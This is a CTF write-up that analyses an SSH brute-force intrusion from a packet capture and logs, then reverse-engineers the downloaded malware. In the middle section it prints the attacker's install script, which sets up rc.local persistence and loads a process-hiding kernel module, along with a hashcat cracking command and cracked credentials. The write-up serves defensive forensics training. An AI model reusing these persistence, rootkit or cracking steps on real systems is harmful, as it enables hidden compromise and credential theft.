EscapeRoom — PCAP Analysis with Wireshark
This article provides my approach for solving the EscapeRoom CTF created by The Honeynet Project on the CyberDefenders website, a blue team focused challenge that requires you to perform analysis of a PCAP file and answer a series of questions. I have provided a link to the CyberDefenders website at the end for anyone interested in attempting this challenge.
Disclaimer
I like to add a brief disclaimer before a writeup to encourage people to attempt the CTF before reading this article, since there will obviously be spoilers in this writeup. I believe you will enjoy the CTF more if you attempt it yourself first and then come back to this writeup if you get stuck or need a hint. So without any further delay, lets get started!
Challenge Scenario
You belong to a company specializing in hosting web applications through KVM-based Virtual Machines. Over the weekend, one VM went down, and the site administrators fear this might be the result of malicious activity. They extracted a few logs from the environment in hopes that you might be able to determine what happened.
Challenge Questions
1. What service did the attacker use to gain access to the system?
I started by extracting the following files from the ZIP archive provided by the CTF challenge:
hp_challenge.pcap
ps.log
shadow.log
sudoers.log
Next, I used Wireshark to open the PCAP file and saw that there was SSH traffic in the network capture file:
The SSH protocol (also referred to as Secure Shell) is a method for secure remote login from one computer to another. Navigating to “Statistics > Protocol Hierarchy” in Wireshark, I can see a tree of all the protocols in the capture:
The only other protocol I can see is HTTP, which means SSH is likely the service used by the attacker to gain access to the system.
2. What attack type was used to gain access to the system?(one word)
To answer this question, I started by filtering for SSH traffic:
The initial output from this filter shows multiple failed attempts to establish SSH sessions:
The image above represents the different steps that take place when attempting to establish and SSH session. These steps are briefly outlined below:
- The client and server negotiate the SSH version (i.e. packet no. 4 & 6).
- The client and server exchanged public keys to generate secret key. The server then issues a “New Keys” message and waits for the client to answer. (i.e. packet no. 8, 9, 11, 13, 14 and 15).
- The client acknowledges the server’s “New Keys” message (i.e. packet no. 16)
- We then see several encrypted packets before the SSH session is closed (i.e. packet no. 18, 20, 21 and 22).
Looking down through the SSH traffic, we see this process repeated multiple times until we near the end of the SSH filtered output. At packet number 1365, we see an attempt to establish an SSH session, only this time we see far more encrypted packets then with previous attempts:
This occurs again at packet number 1415. This indicates that two successful SSH authentications attempts were made. We can also navigate to “Statistics > Conversations > TCP tab” in Wireshark and filter bytes from highest to lowest:
Looking at the screenshot above, the conversations highlighted in red show successful SSH sessions, while the lower ones show SSH bruteforce guessing attacks. They can be differentiated based off of the bytes being sent from the server (B) to the client (A), where a successful authentication attempt results in much more data being sent than an unsuccessful one. You can learn more about SSH protocol analysis for incident response by referring to the article below:
3. What was the tool the attacker possibly used to perform this attack?
Since we know that the attacker performed an SSH bruteforce attack, we can perform a quick google search to identify what tools can be used to carry out the attack. The second top search result for me shows a tool named hydra which is the answer:
4. How many failed attempts were there?
To identify the number of failed attempts, I made sure that I was still filtering for SSH traffic in the main Wireshark view.
Next, I navigated to “Statistics > Conversations > TCP tab” in Wireshark. At the bottom of the conversations window, there is a checkbox option to limit what we see to our display filter only (i.e. SSH traffic). After enabling this option, we see only SSH traffic under the TCP tab:
We can see that there is a total of 54 attempts to establish an SSH session, with only two being successful based on the bytes being sent from the server (B) to the client (A). This means that there were 52 failed attempts to establish an SSH session.
5. What credentials (username:password) were used to gain access? Refer to shadow.log and sudoers.log.
As part of the challenge, we received a shadow.log and a sudoers.log files. If we look at the shadow.log file, we can see 10 type 6 password hashes (SHA-512), including their salt:
ubuntu:$6$MOCeF0du$eCgZ9.I.hS5CDST1aQHozhLbBH6rAUj97vvW/22eaCynqLv/whZKM1freAN3n2XQiCWjDr0UFreVv0IAvI.fl0:15549:0:99999:7:::guest:$6$SaltVal1$MNuCQofLmz9CSSVdNGkdj7gRvcHeRinIVP2ezH5Q17oGC23EdbyAwZ6uzaknESS0W0TkgVpyqzGYqJMdxXSSl/:15549:0:99999:7:::gibson:$6$SaltVal3$ub1ejU/gJOqG1gKnGhSypMtVJouMJ9JmVOYgptXcL0HLSfA84ZH.uwngUpf5XiLp0hu/E2hVh.CLBp2U24Uac1:15549:0:99999:7:::sean:$6$SaltVal4$rIpTjZrVyyX4Lz0/TMvx3FjUbRRMEgKJ2vnQwBgaoSWeLm/VZifQvBco8AnpVQWhNvMolnyY43X5/i5YK/TIw.:15549:0:99999:7:::george:$6$SaltVal5$W3YtX9RKtQfqPWxg6/iaxwMYD8LFxP/zqvTsg5GNXi39ulbUSAR.lvjXHrpJdSISNAiWpb6kj2iNI6LlFWETC1:15549:0:99999:7:::roger:$6$SaltVal6$.1SaTeewycJ1oTmt/6yxAbEyezXhnOajmjP9KWhvNGhkOapy0CyGvEBSQyuL2.TbiEDAPhfoKgoHjbPjczvHH0:15549:0:99999:7:::timothy:$6$SaltVal7$B6dVnvXVmLuILd3oBeCjvjUAYnowMZ5IRm1k3xzKq/fo8MZV7rUMFU1hhzRvaw9.G6mPST8fL8R6cvWqppcpf.:15549:0:99999:7:::pierce:$6$SaltVal8$IUEDzxEsUcki.khFF/HOfbSa6uswLDmEGAobvvbz.8MYy9UvtPo6DCZrpcbLa2Ma4AUj65mNCr7xPP0kVH0tT/:15549:0:99999:7:::sterling:$6$SaltVal9$7oq808gj5Pm4vzJQ7rOWXHtUiJw.qfmEhcmqhGYWUr.r3n4/G5V12QWVaJq7DPura/ZEVPqEUUpMlYzv412Qb1:15549:0:99999:7:::manager:$6$SaltVal2$ybuPu7Nmo9LKn0p0ozhFhFw2SS2cqkLsx8c5OEAWFkIJjtXBEJqxUQzLh900QMgFTGiw6YuFDueNAapfLKt0f1:15549:0:99999:7:::
I used a tool called Hashcat to crack these hashes and I was able to recover two passwords:
hashcat64.exe -m 1800 -a 0 hash.txt rockyou.txt -o cracked.txtmanager:forgot
sean:spectre
6. What other credentials (username:password) could have been used to gain access also have SUDO privileges? Refer to shadow.log and sudoers.log.
Refer to the solution for question 5.
7. What is the tool used to download malicious files on the system?
Based on our earlier findings, we know that the only other protocol present apart from SSH, is HTTP. I filtered for HTTP traffic as seen below:
I selected the first HTTP packet and followed it’s HTTP stream. If we look carefully at the request headers highlighted in red, we can see that the User-Agent request header has the value wget, a tool that retrieves content from web servers by downloading via HTTP, HTTPS, and FTP.
8. How many files the attacker download to perform malware installation?
To answer this question, I navigated to “File > Export Objects > HTTP” in Wireshark. In this window, I can see three files named 1, 2 and 3. There are also multiple BMP files with base64 encoded filenames:
9. What is the main malware MD5 hash?
I can export all three files and save them to my local machine. Reviewing each file, I can see that the first first two files are ELF binaries and the third file is a script:
$ file malware-1 malware-2 malware-3malware-1: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section headermalware-2: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=21064e0e38e436aa28aecd2612f20205977b3826, with debug_info, not strippedmalware-3: Bourne-Again shell script, ASCII text executable
Looking at the contents of the third file (i.e. malware-3), I can see that the file named 1 (i.e. malware-1) is the main malware file:
#!/bin/bashmv 1 /var/mail/mail
chmod +x /var/mail/mail
echo -e "/var/mail/mail &\nsleep 1\npidof mail > /proc/dmesg\nexit 0" > /etc/rc.local
nohup /var/mail/mail > /dev/null 2>&1&
mv 2 /lib/modules/`uname -r`/sysmod.ko
depmod -a
echo "sysmod" >> /etc/modules
modprobe sysmod
sleep 1
pidof mail > /proc/dmesg
rm 3
I can then check the MD5 hash for all three files and get the hash for the main malware file:
$ md5sum malware-1 malware-2 malware-3772b620736b760c1d736b1e6ba2f885b malware-1
2f41df5a12a1f64e47dede21f1c47326 malware-2
dadbb7fe0577d016bb825d3c59dc3715 malware-3
10. What file has the script modified so the malware will start upon reboot?
If we refer to the contents of the bash script seen earlier, we can note that the echo command is used to add a new command to the “/etc/rc.local” script.
echo -e "/var/mail/mail &\nsleep 1\npidof mail > /proc/dmesg\nexit 0" > /etc/rc.local
This script is traditionally executed after all the normal system services are started, at the end of the process of switching to a multiuser runlevel and can be used to start custom services.
11. Where did the malware keep local files?
Again, looking at the contents of the bash script, we can see that the malware keeps local files stored in the “/var/mail” folder.
mv 1 /var/mail/mail
12. What is missing from ps.log?
Linux provides us a utility called ps (“Process Status”) for viewing information related with the processes on a system and is used to list the currently running processes. Based on what we have seen in the bash script above, we should expect to see the “/var/mail/mail” process running but it does not appear to be in the ps.log file.
13. What is the main file that used to remove this information from ps.log?
Looking at the bash shell script, we can see that the filename 2 (i.e. malware-2) is stored in the “/etc/modules” folder as sysmod.ko:
mv 2 /lib/modules/`uname -r`/sysmod.ko
depmod -a
echo "sysmod" >> /etc/modules
modprobe sysmod
The “/etc/modules” file contains the names of kernel modules that are to be loaded at boot time, one per line. Since file 1 (i.e. malware-1) is the main malware file and file 3 (i.e. malware-3) is the shell script, we can assume that file 2 (i.e. malware-2) is used to remove information from the ps.log file.
14. Inside the Main function, what is the function that causes requests to those servers?
Since we know that malware-1 is the main malware file, I started by using the strings utility to identify any interesting function names that would be used to make requests to the servers that hosted the malware files. While performing this search, I saw the string UPX:
UPX!
'@6!O
9,!O
7Q;l
/lib64
nux-x86-
so.2
!Co>C
__gmon_start
UPX (Ultimate Packer for eXecutables) is an open source executable packer that is common in the malware scene. We can unpack the file using the command below:
upx -d malware-1
Using the Strings utility, I can see a number of interesting function names, including the function named requestFile, which we can assume is used to request files from the servers:
15. One of the IP’s the malware contacted starts with 17. Provide the full IP.
We can refer back to “File > Export Objects > HTTP”, where we can see the IP address that starts with 17 that was contacted by the malware to download BMP files:
16. How many files the malware requested from external servers?
Using the Strings utility with malware-1, I can see the four IP addresses of the external servers:
In Wireshark, I can see twelve HTTP objects in total, three malware files and nine BMP files.
17. What are the commands that the malware was receiving from attacker servers? Format: comma-separated in alphabetical order
To answer this question, I used Ghidra to reverse engineer the main malware file and started by looking at the main function:
Inside the main function, I can see several interesting functions such as makeKeys(), requestFile(), decryptMessage() and in particular, the processMessage() function. Further Analyzing the processMessage() function, I can see some hex encoded parameter values used in a logic statement:
Decoding these values in CyberChef gives us what appears to be two opcode mnemonics, NOP and RUN:
NOP stands for “no operation” and is typically used to generate a delay in execution or to reserve space in code memory. I could not find a Opcode mnemonic called RUN based on the available instruction sets but we can assume it is used to run commands in conjunction with delays by the NOP opcode. You can see a full list of x86 instruction using the link below:
Closing Remarks
I really enjoyed working through this CTF and getting the opportunity to learn more about analyzing captured traffic using Wireshark and reverse engineering a malware sample with Ghidra. Thank you for reading till the end and keep hacking 😄!